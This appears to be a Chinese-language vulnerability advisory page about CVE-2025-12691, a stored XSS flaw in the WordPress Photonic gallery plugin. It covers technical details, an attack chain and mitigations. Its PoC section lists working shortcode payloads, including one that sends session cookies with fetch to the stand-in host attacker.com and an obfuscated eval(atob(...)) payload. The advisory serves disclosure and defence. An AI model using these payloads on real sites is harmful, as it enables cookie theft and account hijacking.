IPBUF安全漏洞报告
English
CVE-2025-12691 CVSS 6.4 中危

CVE-2025-12691 WordPress Photonic插件存储型XSS漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-12691
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Photonic Gallery & Lightbox for Flickr, SmugMug & Others (WordPress插件)

相关标签

存储型XSSWordPress插件PhotonicCVE-2025-12691Cross-Site ScriptingFlickr集成SmugMug集成lightbox权限提升

漏洞概述

CVE-2025-12691是WordPress平台上一款流行的图片画廊插件Photonic Gallery & Lightbox的安全漏洞。该插件用于集成Flickr、SmugMug和其他图片服务到WordPress网站中。漏洞根源在于插件的lightbox功能对用户提供的caption属性缺乏充分的输入清理和输出转义处理。攻击者只需要拥有WordPress网站的贡献者(Contributor)级别权限即可利用此漏洞。攻击成功后,恶意JavaScript代码会被永久存储在数据库中,当其他用户访问包含恶意代码的页面时,脚本会自动执行。这使得攻击者能够窃取会话Cookie、劫持用户账户、执行未经授权的操作,甚至重定向用户到恶意网站。由于WordPress管理员账户也可能访问这些页面,攻击者有可能进一步获取网站完全控制权。

技术细节

该漏洞属于存储型跨站脚本攻击(Stored XSS)。在Photonic插件的3.21及之前版本中,插件接收用户输入的caption属性值后,仅进行了有限的验证就直接存储到数据库。当带有lightbox功能的页面被加载时,这些未经过充分转义的数据被直接输出到HTML中。攻击者可以通过构造特殊的JavaScript payload,如:<img src=x onerror=alert(document.cookie)>,将其作为caption属性值提交。由于插件没有对特殊字符进行HTML实体编码,浏览器会将其解析为可执行代码。攻击条件要求攻击者具有WordPress的贡献者角色,该角色通常有权创建和编辑文章内容,但权限低于管理员和编辑者。攻击者可以在文章中插入包含恶意代码的画廊短代码(shortcode),等待管理员或其他用户访问该页面时触发攻击。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标网站使用的WordPress版本和Photonic插件版本,确认版本<=3.21
STEP 2
Authentication
攻击者获取WordPress网站的Contributor级别账户(通过社会工程、凭据泄露或注册功能)
STEP 3
Payload Crafting
攻击者构造包含恶意JavaScript的caption属性值,如<img src=x onerror=alert(document.cookie)>
STEP 4
Injection
通过编辑文章或页面,插入包含恶意caption的Photonic短代码并发布
STEP 5
Storage
恶意payload被存储到WordPress数据库中,随文章内容保存
STEP 6
Trigger
受害者(管理员/其他用户)访问包含恶意代码的页面
STEP 7
Execution
浏览器解析页面时,未转义的JavaScript代码被执行,攻击者获取用户会话信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Photonic Plugin XSS PoC --> <!-- 要求:具有Contributor角色权限 --> <!-- 方法1:通过短代码注入 --> [gallery type='flickr' view='photo' object_ids='12345678@N00' caption='<img src=x onerror=alert(document.cookie)>'] <!-- 方法2:通过SmugMug类型注入 --> [gallery type='smugmug' view='photo' caption='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- 方法3:绕过过滤的payload --> [gallery type='flickr' view='photo' object_ids='12345678@N00' caption='" onmouseover="alert(1)" data-x="'] <!-- 方法4:利用data-title属性 --> [gallery type='flickr' view='slideshow' object_ids='12345678@N00' data_caption='<svg onload=eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))>']

影响范围

Photonic Gallery & Lightbox plugin for WordPress <= 3.21

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1) 临时禁用Photonic插件或相关shortcode功能;2) 通过WordPress安全插件(如Wordfence)添加临时规则阻止恶意payload;3) 审查并清理已发布文章中的可疑caption内容;4) 对高风险用户角色实施双因素认证;5) 启用Web应用防火墙(WAF)过滤XSS攻击特征。建议在可行时尽快应用官方安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表